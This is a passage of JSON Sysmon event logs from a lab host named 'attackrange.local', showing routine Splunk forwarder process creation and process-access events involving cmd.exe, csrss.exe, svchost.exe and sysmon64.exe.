{90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","ProcessGuid":"{90617006-3FE7-5F2D-0000-00107C380300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.922\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.922","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 